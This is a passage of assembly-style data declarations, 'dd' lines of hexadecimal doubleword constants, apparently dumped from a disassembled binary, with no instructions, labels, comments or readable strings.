0C6E7A8BCh, 1C08CC04h dd 0D6006D21h, 0D0B8880Bh, 7F5835Ah, 1CC3A5FFh, 34E7C335h dd 0B1007BB3h, 61F29F0Eh, 7D9C056Dh, 0DF78C72Dh, 0ED48E243h dd 117D7448h, 6DEC40h, 3C3A04F5h, 440E61B4h, 0CE849h, 7F140685h dd 0E596F5h, 0DA3EDC0Fh, 0DE5EB474h, 478A3C09h, 823432CFh dd 426B7478h, 0D6349930h, 0E875C311h, 3D0FC29Ah, 95E6A629h dd 77623B0h, 0E4D8F29Bh, 27B462A8h, 0F2578Ch, 8C6759Ah dd 61EBE530h, 1917A2Eh, 25392C5Bh, 4BD8041Ch, 0C028C8B4h dd 0CDA1E8CAh, 0FCA4AA3Ch, 644E8200h, 65690DADh, 0D1F8C85Ch dd 7205D5CAh, 7C22636Bh, 5FC123D9h, 2EAF16D0h, 192F0B1Ch dd 46118884h, 0C00768D0h, 0B1CC24AAh, 2972C0B4h, 78468869h dd 1001922h, 0E73B297Ah, 1D84E52Fh, 408211E2h, 789D51CEh dd 1B48160Eh, 37D2334h, 0B89A0BD8h, 878038BDh, 0D0BD000h dd 7A370175h, 560C02F7h, 0CA8E3699h, 0A57DC0A0h, 0C6687966h dd 4676E010h, 0A4423EB9h, 0B099771h, 91589791h, 0A0809CDFh dd 0C949BD1Ch, 0CB6A39D7h, 28DEB424h, 0F0E0278h, 0C828F005h dd 18D48861h, 7182086Ah, 0D9C4DB6Bh, 0A05CA647h, 3A538B12h dd 705EE79h, 99D6118Ch, 0FC70D801h, 0E8249CFDh, 0CD0800D7h dd 98B8F97Eh, 38E44557h, 4EFCF07Dh, 460054B2h, 0CB6DD0E7h dd 2D356B31h, 0CE76CF26h, 59210B18h, 0FF6E218h, 0AE589A8Fh dd 65E52BC0h, 0C0926FE0h, 0C7F20E10h, 23286B3Fh, 145D46BCh dd 2692F2A4h, 87704C80h, 0F0F2009Dh, 484B75D7h, 0A10E7E1h dd 3E06B58Ah, 0E091BE19h, 0DED12099h, 70003418h, 86B69DEFh dd 1B72E806h, 0E10A5880h, 0E3CB8BD9h, 0AD4034CAh, 9CF8FDEBh dd 80AE9530h, 40B219E8h, 4724531Eh, 465E88A9h, 0D9270117h dd 0E0C5899Fh, 1841B860h, 0A9E9420Fh, 493EFCF4h, 0AD35746Dh dd 0E85378ABh, 0E023EC2Fh, 62BCB602h, 0DA4DC07Fh, 6FD40F65h dd 8AC96442h, 0DF913817h, 135B5580h, 0AD722E43h, 0F51834E0h dd 8E106AFh, 288F2831h, 66BF0790h, 0AD674B0Eh, 39484140h dd 0FC4105CBh, 0E6474FB0h, 0EDDBF03Bh, 23EC69D0h, 8C6819D2h dd 5C6CC66Bh, 7AA8DA44h, 2EA7A062h, 2CD10959h, 0F83783BAh dd 0F3E25781h, 0D1F73404h, 90201C84h, 0D0294806h, 0D9BC244Ch dd 36D4008Ch, 8F9F6B88h, 2D0C7F51h, 603F8EEDh, 0CB0E4040h dd 0FEEA3705h, 5C2E5799h, 3E03B823h, 0B0C9F70Eh, 9A360ABAh dd 0E9F00394h, 7CBEDF78h, 10829BF0h, 72C2ED00h, 69C4A2Bh dd 4BE200A1h, 0F3F4EA24h, 0CD5C6FADh, 0C0B288A8h, 88682975h dd 9C8043h, 9A6D297Dh, 2D600C90h, 98769E81h, 18910360h dd 0F31456C5h, 7864F00Ch, 0CBFC1C7h, 0C228453Ch, 337D1A11h dd 3049D207h, 0E801C775h, 6980134Dh, 436BD6E3h, 4B070161h dd 120C6A8Fh, 0F599C1CEh, 0C6E87CB8h, 0B18C172Eh, 0B2A021CFh dd 0D02C2481h, 1508908Ch, 0E07B6B75h, 0C28FDB88h, 4B974076h dd 9093A4C7h, 0A10520C8h, 0F3F5FA05h, 984617ABh, 7C1C028h dd 8E223A93h, 6AC63016h, 0F1009B86h, 0E87066F6h, 3513E0h dd 0A2CD2E57h, 0F4C8813Dh, 112AB125h, 6E189564h, 88652908h dd 401BC458h, 0D1297605h, 0F8CB0348h, 0B59BCEA7h, 0F394080h dd 53943A4Ch, 30DEA25Ch, 6100CA42h, 2CCBEA83h, 0A2940E0h dd 0EBD195B8h, 0D37301ACh, 40C061A2h, 3B410888h, 0D0704762h dd 9614E1F0h, 29097118h, 9C608864h, 7904018Ch, 108DD29h dd 98FCF02Ah, 0BF90EC61h, 28256A65h, 8C7B9460h, 0A00BDA04h dd 1E62DCB8h, 0BD27120h, 0F1660097h, 7F0DD308h, 7A098C51h dd 106CBFDFh, 0FD9DAF54h, 0E513B028h, 23443FCDh, 693E00DFh dd 9755A4F5h dd 272DA10Bh, 19CC0171h, 0FF0024A6h, 430083B9h, 170E061Ch dd 18466065h, 20300749h, 3297E7Ah, 0D7D1DCAEh, 861C6018h dd 6F47FE05h, 9CC5AB07h, 29B0C467h, 8C508866h, 3AC61A44h dd 47002977h, 400CAD30h, 670BA4AFh, 210F4988h, 0E14170BCh dd 0C4E15838h, 36A510BBh, 440C40B0h, 0C891C510h, 8281D41Eh dd 38A2A775h, 0FC24E8C5h, 4FDF00D6h, 7644E0F8h, 0F1307DB8h dd 55CF68F2h, 801E619Ch, 267A40D7h, 0BD9021Ch, 31D4B8A1h dd 0D170102Ah, 883D000Bh, 0F60C180Dh, 0D90B2933h, 10470FE5h dd 54C6F454h, 98379C41h, 903D2C64h, 40D0B4E8h, 0BDE6F984h dd 8C2EDBA4h, 9D002606h, 36CB3BBAh, 4EF04B98h, 4CB08974h dd 0F144140Ch, 0EDC1100Ch, 63230C4Ch, 0DDF29E07h, 0B76290D4h dd 0F2978920h, 647A09F7h, 0C837AB11h, 7B25823Fh, 0E5AB1374h dd 601BE474h, 3B9395h, 323F8DBDh, 44100B4Dh, 540AEE44h dd 161B838h, 0E71ABA7Dh, 0E42D27CBh, 0F1654810h, 14C08529h dd 15986F4Eh, 94DB4974h, 42F03708h, 0CD415144h, 4FE7BC3Eh dd 0C02988FCh, 54BC7BE3h, 6BCDED00h, 0C1CBD64Ch, 0F79F0406h dd 0CC82BFD1h, 0ED207D1Ch, 8A6F2CE1h, 0D6465E30h, 0B889FC3Fh dd 20918Dh, 92F0330Eh, 0E70AB200h, 4803CF36h, 6FD53E8Bh dd 26C82B11h, 467410CCh, 0EE4F03DAh, 98B5228Fh, 394DE562h dd 6F0BF81Dh, 9448AEF5h, 0E801317Dh, 674125A9h, 142C214Ch dd 81000722h, 0ED566F8Dh, 75D3B4h, 0CBFB9D7Dh, 91E84505h dd 465EC89Eh, 900C001Ah, 4E8E9A24h, 0B9FE1C9Bh, 8CDD5475h dd 6898A324h, 6FBF04ECh, 7E865C33h, 9C18C2C0h, 0B4465E84h dd 168FEC0Fh, 0F8F0FE4Ch, 69C9E0F8h, 0DC203079h, 0B89E160Bh dd 733838ACh, 50BD400h, 92C77750h, 0EA70119h, 0CC3EBE0h dd 7C5091E6h, 9B0B429Eh, 484704B8h, 0BCF8607h, 692614C0h dd 7AAE0270h, 0D0B799C7h, 0DE573460h, 3B0B7C18h, 0E8231B31h dd 0EC2EB017h, 8F9002F0h, 3CB718B8h, 2BD88C85h, 3D1B2340h dd 6624DF80h, 622ED83h, 0F0479129h, 7D181BD1h, 0C55A4A00h dd 3E017369h, 44A8983Dh, 0B34B02E6h, 0BBBA105Fh, 12A4CC63h dd 30D4BAF4h, 95AF44C1h, 7FA46E00h, 2C102114h, 8C17B848h dd 6D32530Eh, 398A0173h, 58801FBBh, 66D1E204h, 1C00EE3Eh dd 47F5836Eh, 0F5815FCEh, 448FF06Ch, 89F7C4E1h, 3C7F958h dd 3F610027h, 53548371h, 2C160ECFh, 742111C0h, 20642E33h dd 0CDE920ABh, 84400E29h, 0D9B2CA02h, 318A01BDh, 89AC746Bh dd 465CE89Eh, 6B9D05D6h, 0B01363B0h, 32608492h, 12048089h dd 0B2909898h, 0F2D48A89h, 0C07CEBh, 9139E05Bh, 0E64D75BAh dd 0C305CC90h, 63C43620h, 259DECA0h, 6C801866h, 0FDCC7DB0h dd 0F0455A31h, 59E2F3B1h, 181CD930h, 167E01B6h, 3A2856A9h dd 25B1E582h, 8E99F984h, 0A86EA581h, 0C5EC0810h, 3F81B448h dd 0EE1C36ABh, 881A6834h, 21C0C328h, 8902B160h, 6552027Bh dd 8D593957h, 4404D0E0h, 89EC2C58h, 894007CCh, 2E530A44h dd 11623B0h, 4D487115h, 93E46DB0h, 0B523F42Eh, 7FD5E300h dd 75900Bh, 6637BA86h, 460FEA70h, 44001891h, 0F2743628h dd 8834B3Bh, 0CD69E13Ch, 0A6AB4064h, 384C41E7h, 5F330BC0h dd 54BC82BCh, 8D04000Bh, 0CD18AA16h, 3E987C90h, 5E4CB63Ch dd 0B700DA46h, 52FE66F5h, 0D206774Ch, 455C5E9Dh, 0DE643A68h dd 806C0226h, 114FDD82h, 6F5F83FBh, 0DA23343Ah, 0FC5F200h dd 0A22B8B58h, 796479D1h, 5BF718B9h, 989C4804h, 6A2973C0h dd 0B0705388h, 297B0280h, 0E87A9FEEh, 5044DAF1h, 49C93Bh dd 902413CBh, 2DB4D012h, 0A4A40FFFh, 0BDD6076h, 0B4B825A5h dd 6C007416h, 0D1B90BD5h, 977ACAh, 4DDC3B84h, 56118BFCh dd 2E3C344Ch, 0C6487839h, 30FFF700h, 7CF40B8Ah, 4E0D75FCh dd 235C2F33h, 0F83E3B18h, 0A8359800h, 81FC6FD9h, 90586CF5h dd 8C1BB868h, 342F1500h, 666AAC0Fh, 0DDD12F64h, 1A915C17h dd 0F1F6D49Dh, 881CDE0Bh, 3BDDA200h, 0C62B4F5h, 644A0E29h dd 95F47CDCh, 0D2CF4824h, 0B867934Ch, 0FA60B744h, 0C203CE57h dd 0CF0D4DA6h, 5A35924Eh, 8CD752B8h, 32301DF2h, 0C87E010Ah dd 399544E3h, 0FE030DEh, 91413305h, 0EC8E53A5h, 0F9C716C8h dd 0CBE28DD0h, 3AE600C1h, 715C26D1h, 0AA50F204h, 5D2463E8h dd 465EC48Ah, 811100DCh, 0A3907215h, 0C1C21236h, 0B278A301h dd 304E30B3h, 0E1396007h, 0A700B25Eh, 0B669E90Fh, 95091248h dd 0EA700270h, 4C54A9B2h, 8BE4800Bh, 0C4D4C5E0h, 0F56F6127h dd 8AFEE0h, 400F23FFh, 85B2AFBEh, 0A3623E1Ch, 0EC172CCAh dd 0C29816h, 2440325Ch, 785245DEh, 0B0226Ch, 0E7F29686h dd 0E28FB44Fh, 0F3D19805h, 0C004741Ch, 0D213C24Ah, 651AAEF0h dd 6715C458h, 39FC82E0h, 4780962Eh, 454F4051h, 5882434Bh dd 93DE0180h, 99C5361Bh, 0A83B2B03h, 0E200B323h, 0E9FD2CC5h dd 0EDC80C4Ch, 0F521BE29h, 4700B1F6h, 8D1F518Ch, 17E8E573h dd 0C8CE7D0Fh, 0A207E468h, 6BBCDE66h, 40A6A990h, 44BCB41Bh dd 19C45E83h, 0A18E52h, 8E48242Ah, 0CF14886Ch, 36A58680h dd 0ECA022D4h, 0CB1C234h, 20F3E409h, 0E969D670h, 811703B6h dd 3B55C87Ah, 57E01D8Ah, 0A1006FB2h, 560ED167h, 45870ABh dd 0A9C5B89Ch, 7E88ACE8h, 0E4AAF02Bh, 8330D70h, 781BE13h dd 8EC53505h, 0D8E540D1h, 1BC2A189h, 94BA39C0h, 0FA7A4400h dd 53E8F8A6h, 0C1B62C60h, 0E3891210h, 30B9E298h, 860144B4h dd 88E836B0h, 0B46380BAh, 0E830B8A2h, 3E5B3B0Eh, 470CA1Eh dd 0E290F48Bh, 30DFE2C8h, 28001CDBh, 4F8FB158h, 25F56B69h dd 0DCC912AFh, 1C4910C2h, 0AA2400D1h, 9B2F6FF2h, 0DE04772Bh dd 6B7F56Eh, 0EE849CBCh, 0AC2C018Fh, 2C20BCB9h, 0DC9B1392h dd 23B83A69h, 6EDF0018h, 0C6DDD9E7h, 8244431Eh, 9DC75C9h dd 91CCE70Ch, 3E661CBCh, 65CFEBC5h, 9C2E1402h, 9B98F0E1h dd 75B80234h, 0A8D3ED5Dh, 5FE45CBEh, 0D523482Fh, 9F94973Fh dd 24E23004h, 5FC6A01h, 0C022AC8h, 0CDD8FD17h, 0A283C170h dd 0BA3DE8E3h, 0E7407D73h, 0C70E004Dh, 0CD7B1577h, 0A516DEC1h dd 8CCBA926h, 0B9C01888h, 259764Ah, 66A54B48h, 8881EBB0h dd 3C21C5AEh, 0B6C13E0h, 30AD9020h, 3B1F0BFEh, 14029512h dd 9C582175h, 0D07B1A16h, 0D81EF000h, 14CB6D6Ch, 84A771A2h dd 0B6198804h, 22A4E88Bh, 96EE0E23h, 5940C7E4h, 0BBE6DA63h dd 98844800h, 0A17C5AB9h, 781501F2h, 43D9DB8h, 0E81C6C4Fh dd 9A048CB0h, 0D9F6E57h, 0AD392781h, 0B1A24C63h, 3B377130h dd 1A004149h, 95D9E648h, 3812D80Bh, 0FCE203CFh, 5D3222F2h dd 0F7F67300h, 5028A5EBh, 4300100Ch, 0A0865E8Eh, 1E24F5C8h dd 4074DAFAh, 21C21CA4h, 0F805E604h, 9FB602C7h, 41F0B401h dd 9D008F5Fh, 409981BAh, 0C618B4D1h, 1B1AFF02h, 0D965BF7Dh dd 0F18D0F10h, 3ECB04D0h, 18834418h, 14F4A458h, 806C52BFh dd 0D27E3500h, 0AD65AC6Dh, 0E854A0D4h, 2B258C14h, 0D22CCB49h dd 58520E8h, 7008A7DBh, 16A25E04h, 0E5D880CFh, 0C8A20143h dd 0B5E458E5h, 4CC54260h, 0CB6CC26h, 91F097A5h, 5194801Ah dd 7B263D0h, 988EA3E9h, 8002C474h, 0A6674164h, 0B7E1092Dh dd 38BC80ECh, 0C9334D76h, 8BE4CA17h, 35836CC1h, 53BA8500h dd 7696D09h, 70C45B46h, 7229D5D6h, 2100C84Fh, 2C1DE482h dd 64280069h, 0C93223C1h dd 0F83B9B4Dh, 512A0013h, 340FE581h, 7CDE1246h, 0C87CCB74h dd 383BC621h, 6FF0F1Eh, 4789BF44h, 306F5C80h, 5A3C900Ah dd 0B9AC6266h, 42433118h, 66DF8033h, 4A175A41h, 91ECC86Dh dd 5E378500h, 0A4D095F1h, 10534C46h, 28CB9E8h, 0B46AC282h dd 0FC58B6D1h, 5BB00E13h, 2F4FA4F3h, 0DF237Ch, 0F0D87DBDh dd 0B2004C07h, 0FCF59431h, 0C6C4E532h, 0D1470BC9h, 0E1C06B01h dd 0C92C3849h, 77C42F3Ah, 0FEDE008Ch, 6A11A2A9h, 9A2DC604h dd 45FC340Bh, 88F04E10h, 0B9A6C71Ch, 3D8C2E80h, 0EC25FBE3h dd 8B404033h, 25632031h, 35FC7013h, 0B5C000B0h, 0BAA31010h dd 0F14158B0h, 0A6AA57C5h, 0F68A7510h, 0E8F0808Eh, 6E490F1Ah dd 11C41D39h, 8D1580D7h, 0F44B31BAh, 0E0074852h, 480E4506h dd 0EA1329D3h, 1481BDBAh, 28286828h, 3C30DEF9h, 0F4540061h dd 17CCBFC1h, 0FE0E439Fh, 36EBC5EDh, 203F04CDh, 0A79DDBF8h dd 0C041AA00h, 5C8D3D1Fh, 29AC6228h, 3420EBE4h, 3A66E943h dd 0FC769DCAh, 500BAA0h, 9494663h, 0B10B32Eh, 336FCF4h dd 151F1030h, 0E40E4E28h, 2146500h, 0F1A11830h, 63950B00h dd 0BC5EE9DDh, 3E921882h, 40A628CEh, 0E8942158h, 7E138C21h dd 0BCF53648h, 46460860h, 0C884F03Fh, 3D660FEAh, 1A8039BFh dd 6306745h, 0C1CBD8C0h, 4BBA40FEh, 883CDA3Fh, 0C4F6C7D5h dd 5444877Ah, 443D0096h, 999F52h, 0B2D28BB7h, 0A47ACF60h dd 9D0FD00Eh, 0F40596A3h, 0B4A2B79Eh, 273019F2h, 25760F2Dh dd 0A267FA1h, 2F164165h, 0E04B757Ch, 280C821Ch, 0B95421BEh dd 8B6AE016h, 7C6B9B01h, 64973285h, 153F66CDh, 32B898C0h dd 9C05861Ch, 89C00740h, 9A815619h, 58FB2ED8h, 5100DEC4h dd 2DAF5F5Ah, 13ACE6B9h, 253A7BDDh, 0F20CF2E8h, 0CB9B3027h dd 0C25E9203h, 0D86C173Ch, 13433ABAh, 210DC037h, 2E910B28h dd 0DE23EC2Eh, 0C4488A00h, 8EF3AEh, 1EFCEA55h, 0E4C18DB8h dd 3CD0C8A2h, 465E649Ch, 0EF3F001Ah, 0B796F834h, 0EBE77D0Ch dd 0B68F23D8h, 0EB4B023Ch, 0E09790F4h, 0D687E091h, 0E7028010h dd 277E467Dh, 25FC3712h, 3B309CC0h, 8BCD09B3h, 7084A3D4h dd 177340BDh, 0D7FAE4h, 0AF31E783h, 0E1E002F2h, 750B1802h dd 0A7390C61h, 0A0EF93C0h, 0DC6D3A92h, 96250BD3h, 681066BFh dd 3B5ADE64h, 0DBC87CCBh, 0BFF9AFE0h, 0FC6F1EF1h, 0BCE5E729h dd 91AC95A5h, 7AB482D5h, 5740E090h, 0BB8B925h, 7046633h dd 0CCB080F8h, 6316617Fh, 1CA6B04Dh, 15BD2EE0h, 734F8612h dd 870C0C08h, 504D6A6Ch, 9CF436Fh, 3351BA07h, 0E990DE65h dd 0B6B7420Ah, 200B8A54h, 844340B4h, 2100B832h, 82A75239h dd 7BA657h, 894D4476h, 0B0F56DFBh, 47CA0525h, 6014646Ch dd 2E6C54DFh, 61C8C5F5h, 2EF619h, 17FCDB2h, 0E069F9FFh dd 0E3DF35BFh, 0F52ECF98h, 709C919Fh, 0F8600B21h, 38134018h dd 0D5CD8C16h, 4F431880h, 71663B44h, 0C42890h, 0E0D83C3Fh dd 37BD26Fh, 6EA50DD5h, 402FEAA0h, 0E5C41264h, 602864B8h dd 7009B947h, 0C57F60Fh, 42B8F555h, 6E72D1E1h, 65F3DD7Fh dd 639BF14Ch, 331DA274h, 2F74CB90h, 7ECD3100h, 579A1047h dd 0C96B27BFh, 0B0D6D042h, 1D465Eh, 4DB9FF95h, 7FCBE9h dd 0C5B8538Bh, 454F01E1h, 5082154Fh, 791851CCh, 8C819DEh dd 0F4840071h, 6D1DFB48h, 814AB22Ah, 0D988588Eh, 9B5F1EC0h dd 8F0D09BFh, 50F8FC1Bh, 2BB83955h, 175D86Eh, 153069E6h dd 0C08E9FF4h, 1B1340A7h, 0F4B52867h, 60D4DBD4h, 0B3442A48h dd 65002DB1h, 0A867809Bh, 24939E98h, 3CD7C4h, 866DD9E2h dd 75011006h, 0BF44EFF6h, 9C7CB367h, 4EDD82Dh, 10222760h dd 0E158010Dh, 0FCF3D352h, 44322B38h, 40D07E68h, 0A3CEC95Ah dd 42BC7000h, 9AEAA08h, 428F2F6h, 0FC43E55Dh, 8840FD64h dd 0D6506A83h, 0E186D200h, 95AEC99Bh, 0C0CA5E61h, 293D3CDCh dd 4D99A460h, 475FF35h, 80BAB12Dh, 1E4B9E4h, 38F71C8Dh dd 65F85337h, 286400F3h, 7A6058FDh, 40009291h, 4E81DA19h dd 3BD1AAh, 2943DE61h, 2BD558BAh, 5490AC4Bh, 7EFE31F2h dd 805C9CBFh, 6FD4974Ah, 5100ED98h, 0FD04067Bh, 349491h dd 634A03C9h, 4443F899h, 597DBA12h, 3DC31CA0h, 0C7DE5C36h dd 0F0F2C944h, 9CEBFC2Ah, 0A5946621h, 2164A4E5h, 0C05E4760h dd 0C563D601h, 46A4B031h, 0E1348BD6h, 4C633FB0h, 3304F409h dd 1C59FCF3h, 31090D18h, 0C4F3D6D7h, 118A0890h, 820F94FEh dd 4B0C1E6h, 0C5CB90BFh, 502ECEDh, 1F9101E8h, 19444CE7h dd 0F989B560h, 0FDF9F772h, 3088480Ah, 0A6772C00h, 0A280029Bh dd 0A00400F7h, 57D0C1BAh, 5F054E28h, 0C703F43h, 2256C84Fh dd 7921EF3Dh, 18B77964h, 15D9280Fh, 60DF00C0h, 70C3C676h dd 0A05A3204h, 0B42E4C17h, 0E2801623h, 3BB8DB20h, 2D6E30BFh dd 0CD75B9E1h, 0C8ECC955h, 37BF62ABh, 2A170068h, 0AEAC7963h dd 395D0890h, 1F8BC24h, 3612F9A2h, 78B4F3F0h, 8DC2C4E8h dd 75B8B103h, 6FBCE0B5h, 37E20B02h, 0E45803CFh, 0B020773Ch dd 489D006Dh, 415F38D2h, 8B17B5DCh, 0A09A910Dh, 5E3735C0h dd 2201188h, 3310123Bh, 0E2E4F33Fh, 0A2873014h, 8024E55Ch dd 0BAA4D849h, 574C009Ch, 0F27A1070h, 0B7972012h, 9EDD0030h dd 25B5ECBh, 7C2D703h, 0A2498DABh, 0D9285190h, 293718D7h dd 0BCCC6F5h, 8D883940h, 0BACA02CCh, 8955C40Dh, 2F440404h dd 0F489405Dh, 8376098Ch, 0E577A301h, 90C5E80Eh, 0B0A23823h dd 132330h, 4A11803Ch, 4D7F905Ah, 61EB0E05h, 98007655h dd 2908866Ch, 774403ADh, 0D0B1AADDh, 1088E89Dh, 8C07A7C1h dd 59220849h, 2D086456h, 0F1C213A3h, 0F23C321Ch, 9888301Eh dd 449F4A26h, 0A0B46627h, 82BA7AE4h, 3E02545Ch, 0B5C7C889h dd 28168034h, 0EA6F59DDh, 0EC88AA5Ch, 85008CD5h, 157FE130h dd 0FC12193Ah, 40482567h, 0D47EA060h, 0C0479000h, 7BCB54EFh dd 9C051276h, 8870E0A1h, 93A74112h, 8DB20042h, 0DC5409BFh dd 0CCD0176Fh, 0F214270h, 0F755C2D6h, 110BE200h, 40CB2656h dd 0C6980504h, 70A0C0E7h, 6612A589h, 0A4A40EC4h, 0FF140C9h dd 0DA05E101h, 7C70B8Ah, 0C108B2Bh, 0F8E11355h, 3F19C9BFh dd 0AF78105Ch, 3ECB8002h, 1F106C20h, 2D190A65h, 0B085A081h dd 0D06EFC57h, 0DB318B0Ah, 5E050C23h, 40B8DA18h, 4D17F320h dd 0C8244709h, 6BAAh, 0AA9D4B5Bh, 5155B46Ah, 57CAA4C1h dd 52CD2804h, 9AFE6004h, 0B046801h, 28882BBAh, 94E8825h dd 0DC4031DEh, 1C0DF8DBh, 9ABC004Fh, 68C03E66h, 0CF600B6Eh dd 0AD8DAFB1h, 7C8C1DAh, 43113966h, 510746A4h, 0D19437C7h dd 9D01DB0h, 0B919C17Bh, 59C9057Dh, 60E7DE1Ch, 846029E4h dd 0DDF4EFEAh, 44908B00h, 577FCD93h, 3EBA265Fh, 0B81360B8h dd 841DE397h, 7B02BEB2h, 0C0122748h, 5BB59DC5h, 0C800CEDDh dd 0B425C0B6h, 8C2A983Bh, 4D0B8C01h, 3E44C9h, 6C1CD54h dd 12F45B27h, 0C8F48B34h, 0C66C01Dh, 2134376h, 34300E5Ch dd 40D9AC6Ah, 0D602DDBEh, 480E3327h, 0F8547846h, 2B49C037h dd 0E3A2E915h, 821D9400h, 4E81AEFEh, 1E760171h, 0E1954608h dd 97C0ADEFh, 80B5910Ch, 0BCAB255Eh, 6ACA0C1Eh, 0CF9995FCh dd 58A47609h, 7B342010h, 3D0F975Fh, 590061C1h, 5DA84A8Ch dd 2312CFE4h, 9C9328ACh, 88EB097h, 0BE8200FAh, 40F986B4h dd 5100FDC6h, 90AF6BDCh dd 2672B0D7h, 1E1365A3h, 60652FC7h, 0F86028C4h, 0EC3E8ACBh dd 0DCF924D8h, 3D6C0607h, 0CBBE04F2h, 0E950E814h, 0F01DB545h dd 0DD83B311h, 53C0A9EBh, 0ED136D64h, 0CC95430Fh, 1CEC74FCh dd 1A39388Ch, 0A19BFD81h, 20F64093h, 4F88D77Ch, 0C26B3AA9h dd 0B8E14480h, 0D3E39851h, 5CBA130Eh, 0EA9B675Ah, 7FC3F21h dd 64B6C30h, 5891E8B0h, 0DC006911h, 0B4957D92h, 10E0F1h dd 0EF0E108h, 0E3337B3Eh, 9816974Fh, 13C80CCBh, 440FB6C1h dd 313E8449h, 0FCDE7F84h, 430583B8h, 0C828EFFEh, 0BF3DE881h dd 0CB60643Fh, 0C01B88A8h, 667930C2h, 69F6450Fh, 17D9E9A3h dd 8022911Ch, 0E5CF30ABh, 0B8B8A8F4h, 146A0025h, 37494F6Fh dd 0D507B0D1h, 89B9F1E8h, 6CB9C767h, 30FC23A8h, 450B1426h dd 4188CADBh, 3F6CD9Ch, 8BB092E6h, 0C01206D3h, 3040BA29h dd 71CF639h, 94540041h, 0F1448642h, 2F02EB57h, 34A45D18h dd 30205758h, 0B3C8C5E5h, 0F983EC0Eh, 250900CFh, 27BFE08Bh dd 0E8813968h, 280DC5AFh, 836602BCh, 0F11155DEh, 18B7F190h dd 0E4671676h, 32C8C864h, 2DF13Ch, 0BE156E99h, 3D1A56ACh dd 0FE820BE0h, 350ADE52h, 73D34520h, 0FAE622h, 8593444h dd 0A8B347FDh, 4A00D94Ch, 6C3844E2h, 34873614h, 0D0EFE415h dd 0FAA46700h, 72D45D17h, 1A7883F8h, 0BAA3741Dh, 8A7800AFh dd 0B234EA19h, 623E25E0h, 507054DBh, 3DB20029h, 542019B5h dd 0CF16D396h, 64E6AADDh, 147101B0h, 385F2012h, 98E05819h dd 19E50F10h, 3B4F63F0h, 10751CC8h, 964EE68Dh, 9B09B46Fh dd 58F2E4B1h, 720F8F03h, 98BBE17Eh, 0EAB0EFh, 38207408h dd 0CF3A3E88h, 72198B17h, 2A4B4F0h, 65BF588Ah, 79DF40E5h dd 181DD119h, 18C50082h, 35E14C58h, 480E095Dh, 60F78B66h dd 0F60D98Ch, 38F37CB7h, 0E981298Dh, 0C1F66105h, 9784F404h dd 9AEA4FD7h, 1E3DC0B1h, 18FFECDAh, 5E0BED95h, 0A717BE66h dd 0CBAA5B12h, 0C016880Fh, 89DB5248h, 0E7D5953Fh, 3BF2B52h dd 0C07A985h, 8343D10h, 86350F32h, 0F6FE3F36h, 8019B061h dd 3D30FCB4h, 8301E02Fh, 9B5036Bh, 0CAB87E27h, 0A96B8BCFh dd 37ABCBDDh, 0E7F5C1A2h, 3AD8A5C3h, 11823A3h, 0E8942D33h dd 3985C401h, 0C6C7F7CEh, 0A0C1EA1h, 700837B9h, 7EFA18EDh dd 3D62BD81h, 0A207D02Bh, 23288587h, 22BEFFFCh, 74125CBDh dd 0B3001946h, 8B471274h, 0B550FFF4h, 0B60E827h, 8C9E3929h dd 57560116h, 8593A209h, 11D641E6h, 435E0206h, 0B7C98E0Eh dd 0ED6C6D4h, 28CD61D6h, 0E8B57081h, 24F97B90h, 6600ABACh dd 8ECFCC34h, 0AE2BC20h, 53F8BF0Fh, 0C39964F3h, 1DA1B0A1h dd 0B4F6F4ACh, 9E3D6F00h, 0BD8B5FE8h, 0CC236AA1h, 2806119Fh dd 2D418F89h, 2EDDFE88h, 0E5221A28h, 0BEF25F32h, 81607B20h dd 9C2809C0h, 0D0021FCBh, 0E807109Dh, 9E2594Ch, 0D0883A64h dd 0A3D12780h, 1E006884h, 4DE5F59Fh, 76998B8h, 616059B9h dd 8E0F2258h, 0DEBFCF90h, 0E33E083Fh, 4805B188h, 0C8300979h dd 8F8DE280h, 8B690102h, 0F27D59Dh, 0B07AD287h, 80612B1Dh dd 5B50D93Ah, 23452EFAh, 0BBCA001Bh, 0A5AA9C3Ch, 66776401h dd 20CFF681h, 0A9D8641h, 59950100h, 2BBFACA8h, 0A101B3Dh dd 97D1BD89h, 7D3575AFh, 0C6704298h, 0BF5A172Ch, 9DD0067h dd 0FFF882E9h, 0F3728BE2h, 6BFAC15Bh, 0A5FD0047h, 8DF15EBDh dd 0C17FFEBh, 12FDE74h, 0FBB577B2h, 0F33C6080h, 91D38E80h dd 90D7804Dh, 76413D18h, 5900547Fh, 57C9A8B4h, 108DF902h dd 7221E585h, 50350660h, 2FF3C37Ah, 205DA7D9h, 833B8ECCh dd 4A233EA5h, 3C1A6C00h, 9007244Dh, 0FB243198h, 4676B250h dd 2EAA011Bh, 72AEFD32h, 3CBEAFF8h, 37B5F819h, 5FB6EF50h dd 0DCBA70B7h, 0E82437D3h, 0E10966CAh, 5028930Eh, 90EDD7FAh dd 575EBF6Eh, 0A0E4398Fh, 2D40B921h, 0FDC10453h, 8012F07Bh dd 8B1A6790h, 17C58516h, 0C0838A47h, 0CDBD444Fh, 5790C490h dd 89525050h, 66310F0Fh, 5A83EBBFh, 0EBEF5F58h, 8A607501h dd 4E90E11Fh, 0C71B88F7h, 0E6E4F0C8h, 201C26Dh, 8542BE9Ch dd 24201D6Bh, 7AA720CEh, 11B5291Ch, 0A6937C68h, 1C9C0878h dd 41D420B6h, 880F1728h, 10716306h, 0DB4816DDh, 920AA110h dd 77B76Bh, 9A23B5CDh, 37A17998h, 11BD010Dh, 7720542Fh dd 0ECAD2FBFh, 7E5B7FDh, 0E031E475h, 1205DE8Bh, 0A09F0E2Ch dd 22030908h, 48BA099Fh, 0D598870Fh, 92FF759Dh, 0A6ABD3E5h dd 0B209B04Eh, 2ED84C0Ch, 2F582D05h, 89B8816Eh, 0B8990406h dd 577528E1h, 894EED7Ah, 335B20A3h, 0D30D69B5h, 86EC3C2Eh dd 373BFE6Bh, 0FD808131h, 8C7C39E4h, 0A71E6D9Ah, 791299Dh dd 0BAF60797h, 4E347E4h, 0E60B1601h, 0DB738524h, 0BD962FC2h dd 105F0243h, 0AA424761h, 30F13441h, 3D3095B1h, 83F2912Bh dd 1B8E28BDh, 84FAC48Ch, 0AC0A530Ch, 6146AAD1h, 94F85C17h dd 0B7B81941h, 18F5602Fh, 0B057D4EBh, 37C733B7h, 781A6170h dd 0FD4F1651h, 0F4BDBD50h, 2900D6D6h, 9F74DE98h, 62A1AC8Bh dd 2AF55E2Ch, 114E5008h, 8DBD310Bh, 1B2842F5h, 35E410C3h dd 23810726h, 762EFEFFh, 66F8D901h, 7220DB8Ch, 0F6194049h dd 0E408C34Ah, 1C467E69h, 8D669200h, 659A4ECEh, 